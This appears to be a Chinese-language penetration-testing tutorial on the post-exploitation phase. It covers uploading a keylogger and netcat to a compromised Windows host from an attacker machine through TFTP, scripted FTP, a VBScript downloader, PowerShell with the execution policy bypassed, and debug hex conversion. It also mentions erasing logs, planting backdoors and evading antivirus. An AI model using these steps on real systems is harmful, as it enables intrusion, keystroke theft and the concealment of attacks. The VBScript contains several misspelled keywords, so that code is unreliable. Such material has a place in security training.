後滲透測試階段--上傳工具

為防止管理員將漏洞補上後，我們無法再通過該漏洞控制對方主機，所以需要進行後滲透測試階段

1、上傳各種工具

2、提權：為了全面控制目標系統

3、擦除攻擊痕跡：防止管理員通過日誌溯源追蹤，發現攻擊源頭【除了系統日記，應用程式也會有自己的日誌資訊】

##刪除系統日記和應用程式日記

例如：SLmail中

4、安裝後門程式

實現長期控制，Dump密碼，作為跳板進行內網滲透【大部分情況下，比公網滲透簡單】

注：後滲透利用階段

最大的挑戰：防病毒軟體【根據病毒特徵庫進行查殺】。所以我們需要使用合法的遠端控制軟體（NC）【儘量做到免殺，但也有可能在防病毒軟體更新特徵庫後，被檢測出來】

上傳工具

目的：持久控制，擴大對目標系統的控制能力

Linux系統

linux系統下實現上傳工具比較容易，因為其預設安裝netcat、curl、wget，即使沒有安裝netcat，也可以輕易地使用curl和wget去黑客共享的伺服器下載安裝木馬、netcat等【curl和wget一定會在linux系統下預設安裝】

Windows系統

相對來說，windows系統下缺少預裝工具，難以進行木馬等工具的下載

getshell後，windows系統下載木門工具例項

根據小白日記17，getshell【此為類NC遠端控制shell，是一種非互動型的shell（即該命令列視窗下必須輸入完整的命令，無法tab鍵補全）】

在windows系統下安裝ftp軟體，體驗非互動型shell的壞處，添加/刪除元件中【appwiz.cpl】【需插入光碟】

因此我們必須上傳一些能提供互動型的木馬程式【灰鴿子等】

1、使用TFTP傳輸檔案【構造一個TFTP伺服器，在伺服器中放置工具木馬等，再通過被控端連線下載】

XP、2003中預設安裝，Win7、2008以後的系統需要單獨新增，但經常被邊界防火牆過濾。主流為FTP，是因為基於UDP協議，明文傳輸，不支援身份驗證

利用kali

mkdir /tftp   #建立tftp目錄

chown -R nobody 設定許可權所有者為nobody【無本地登入許可權】

cp /usr/share/windows-binaries/whoami.exe /tftp/       #windows下檢視當前使用者

cp /usr/share/windows-binaries/klogger.exe /tftp/       #拷貝鍵盤記錄器

atftpd --daemon --port 69 /tftp/              #daemon，用後臺方式啟動，主目錄指向tftp

由於許可權問題，會出現以下這個常見問題【啟動程序不是tftp】

需kill 543這個程序，使用chown -R nobody /tftp/   【將所有者改成nobody】

重啟服務

進到shell視窗，檢視tftp

進行tftp檔案傳輸

tasklist  #檢視程序

鍵盤記錄器會記錄管理員的輸入，再同目錄下會生成記錄鍵盤輸入的文字檔案

type klogger

2、使用FTP傳輸

先在kali上apt-get install pure-ftpd

使用指令碼配置【切記：設定的密碼，下面echo會用到】

#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pw useradd yuanfh -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/                   #建立的ftp主目錄
/etc/init.d/pure-ftpd restart

驗證ftp

因為非互動系統中，ftp傳輸，在password命令處無法顯示，所以需要通過轉換思路進行下載

C:\>echo open 192.168.1.127 21>ftp.txt
echo open 192.168.1.127 21>ftp.txt

C:\>echo yuanfh>>ftp.txt
echo yuanfh>>ftp.txt

C:\>echo password>>ftp.txt
echo password>>ftp.txt

C:\>echo bin>>ftp.txt
echo bin>>ftp.txt

C:\>echo GET whoami.exe >> ftp.txt
echo GET whoami.exe >> ftp.txt

C:\>echo GET klogger.exe >> ftp.txt
echo GET klogger.exe >> ftp.txt

C:\>echo bye >> ftp.txt
echo bye >> ftp.txt

##先將whoami,klogger等程式拷貝到ftphome目錄【cp /tftp/* /ftphome/】
ftp -s:ftp.txt

3、使用VBSCRIRT傳輸檔案

#VBS是windows系統上預設的解釋型指令碼語言，在win7後增加了perl

##通過web程式，http協議下載遠端控制程式，需在kali啟動apache2

[email protected]:~# service apache2 start
[email protected]:~# netstat -pantu | grep :80
tcp6       0      0 :::80                   :::*                    LISTEN      4433/apache2      

進入apache2預設目錄，拷貝檔案

[email protected]:~# cd /var/www/html
[email protected]:/var/www/html# cp /ftphome/* .
[email protected]:/var/www/html# ls
index.html  klogger.exe  whoami.exe
[email protected]:/var/www/html# 

貼上以下命令到shell視窗

echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXSEITTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXSEITTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXSEITTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXSEITTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData,strBuffer,lngCounter,fs,ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Noting Then Set http = CreateObjiect("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Noting Then Set http = CreateObjiect("WinHttp.MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Noting Then Set http = CreateObjiect("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET",strURL,False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Noting >> wget.vbs
echo Set fs = CreateObject("Scrippting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Miidb(varByteArray,lngCounter + 1,1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs

cscript wget.vbs http://192.168.1.127/whoami.exe w.exe  

【windows系統自帶的cscipt命令去下載whoami.exe 命名成w.exe，傳輸完成後，需重啟一下目標系統】

4、使用POWERSHELL傳輸檔案  【到目標伺服器下載程式】

##需在windows系統下執行

$strongeDir = $pwd
$webclient = New-Object System.Net.WebClient
$url = "http://192.168.1.127/whoami.exe"
$file = "new-exsploit.exe"
$webclient DownloadFile($url,$file)

powershell.exe -ExecutionPolicy Bypass  -NoLogo -Nonlnteractive -Noprofile -File wget.ps1

5、使用DEBUG傳輸檔案

Debug是一種彙編、反彙編的16進位制dump工具，作為檔案傳輸，預設情況下只能傳輸64k位元組的資料

一、使用upx壓縮檔案進行壓縮再進行傳輸

cp /usr/share/windows-binaries/nc.exe .   #拷貝nc到根目錄

[email protected]:~# upx -9 nc.exe                          #-9：最高程度壓縮
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2013
UPX 3.91        Markus Oberhumer, Laszlo Molnar & John Reiser   Sep 30th 2013

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
     59392 ->     29184   49.14%    win32/pe     nc.exe                        

Packed 1 file.

二、將exe程式轉化成16進位制文字格式

wine /usr/share/windows-binaries/exe2bat.exe nc.exe nc.txt
將文字檔案中的16進位制程式碼（除倒數兩行外）全部複製到shell視窗中

debug<123.hex      #生成1.dll

copy 1.dlll nc.exe